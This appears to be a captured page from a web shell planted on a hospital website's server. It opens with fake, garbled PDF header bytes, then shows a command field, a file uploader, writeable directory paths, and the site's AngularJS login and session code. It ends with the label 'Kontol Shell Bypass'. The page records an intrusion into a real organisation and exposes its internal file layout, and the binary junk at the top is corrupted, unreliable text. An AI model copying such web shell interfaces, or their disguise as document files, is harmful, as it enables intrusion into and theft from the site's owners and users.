%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/lms/js/app.js
/** App Controller **/
MetronicApp.controller("App", function($scope, $rootScope, $http, $state, Auth){
	$rootScope.VERSION=VERSION;
	$rootScope.siteName=SITE_NAME;
	$rootScope.PageTitle=SITE_NAME;
	$rootScope.isLogged=false;
	$rootScope.loggedUserName='';
	$rootScope.userType='';
	$rootScope.isAdmin=false;
	$rootScope.modules=[];

	$scope.$on('$viewContentLoaded', function() {
		//setTimeout(function(){Layout.initSidebar($state);}, 200);
		//Layout.initSidebar($state);
		Layout.fixContentHeight();
		$(window).scrollTop(0);
	});
		
	$rootScope.$on('$stateChangeStart', function(event, res){
		clearTimeout(jsInterval);
		$('body').removeClass('modal-open');
		$('.modal-backdrop').remove();
		show_loader();
		
		if(res.name!='login' && !Auth.isLogged()){
			event.preventDefault();
			$rootScope.goto('login');
			return;
		}
		
		if(typeof res.pageTitle != "undefined"){
			$rootScope.PageTitle=res.pageTitle+' | '+SITE_NAME;
		}else{
			$rootScope.PageTitle='Welcome to: '+SITE_NAME;
		}
	});

	$rootScope.$on('$stateChangeSuccess', function() {
		Layout.setAngularJsSidebarMenuActiveLink('match', null, $state); // activate selected link in the sidebar menu
	});

	$rootScope.goto=function(state, data){
		$('body').removeClass('modal-open');
		$('.modal-backdrop').remove();
		
		show_loader();
		if(!data){
			data={};
		}
		$state.go(state, data, {reload: true});
	}
	
	$rootScope.sessionVal=function(key){
		return Auth.sessionVal(key);
	}
	
	$rootScope.clearLoggedData=function(){
		Auth.delSession();
		$rootScope.isLogged=false;
		$rootScope.modules=[];
		$rootScope.userType='';
	}
	
	$rootScope.logout=function(){
		show_loader();
		$http({url: API_URL+'auth/logout'}).success(
			function(res) {
				$rootScope.clearLoggedData();
				$rootScope.goto("login");
			}
		).error(function(res){showHttpErr(res);});
	}
	
	$rootScope.goback=function(){
		if($state.current.name=='login'){
			return;
		}
		window.history.back();
	}
	
	$rootScope.set_user_data=function(res){
		if(res.dtl){
			Auth.setSession(res.dtl);
		}else{
			$rootScope.clearLoggedData();
		}
		
		$rootScope.isLogged=Auth.isLogged();
		$rootScope.loggedUserName=Auth.sessionVal('name');
		$rootScope.userType=Auth.sessionVal('user_type');
		$rootScope.isAdmin=Auth.sessionVal('user_type')=='ADMIN';
		$rootScope.modules=res.modules;
	}
	
	$rootScope.init=function(){
		$http({url: API_URL+'auth/logged_data?noloader'}).success(
			function(res) {
				$rootScope.set_user_data(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	$rootScope.init();
});

/** Login Controller **/
MetronicApp.controller("Login", function($scope, $rootScope, $http, $state, Auth){
	$scope.login=function(){
		var frm=$("#loginform");
		hide_form_errors(frm);
		show_loader();
		$http({url:API_URL+'auth/login', method:'POST', data:(frm.serialize())}).success(
			function(res) {
				hide_loader();
				if(res.success=='T'){
					$scope.$parent.set_user_data(res);
					$rootScope.goto('dashboard');
				}else{
					if(res.msg){
						show_alert_msg(res.msg, 'E');
					}
					show_form_errors(res.errors, frm);
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	$scope.init=function(){
		$http({url: API_URL+'auth/logged_data'}).success(
			function(res) {
				$scope.$parent.set_user_data(res);
				if($rootScope.isLogged){
					$rootScope.goto('dashboard');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	$scope.init();
});


/* Setup Layout Part - Header */
MetronicApp.controller("HeaderController", function($scope){
	$scope.$on('$includeContentLoaded', function() {
        Layout.initHeader(); // init header
    });
});

/* Setup Layout Part - Sidebar */
MetronicApp.controller("SidebarController", function($state, $scope){
	$scope.$on('$includeContentLoaded', function() {
		Layout.initSidebar($state); // init sidebar
    });
});

/* Setup Layout Part - Quick Sidebar */
MetronicApp.controller('QuickSidebarController', function($scope) {    
    $scope.$on('$includeContentLoaded', function() {
       setTimeout(function(){
            QuickSidebar.init(); // init quick sidebar        
        }, 2000)
    });
});

/* Setup Layout Part - Footer */
MetronicApp.controller('FooterController', function($scope) {
    $scope.$on('$includeContentLoaded', function() {
        Layout.initFooter(); // init footer
    });
});

//EOF

Kontol Shell Bypass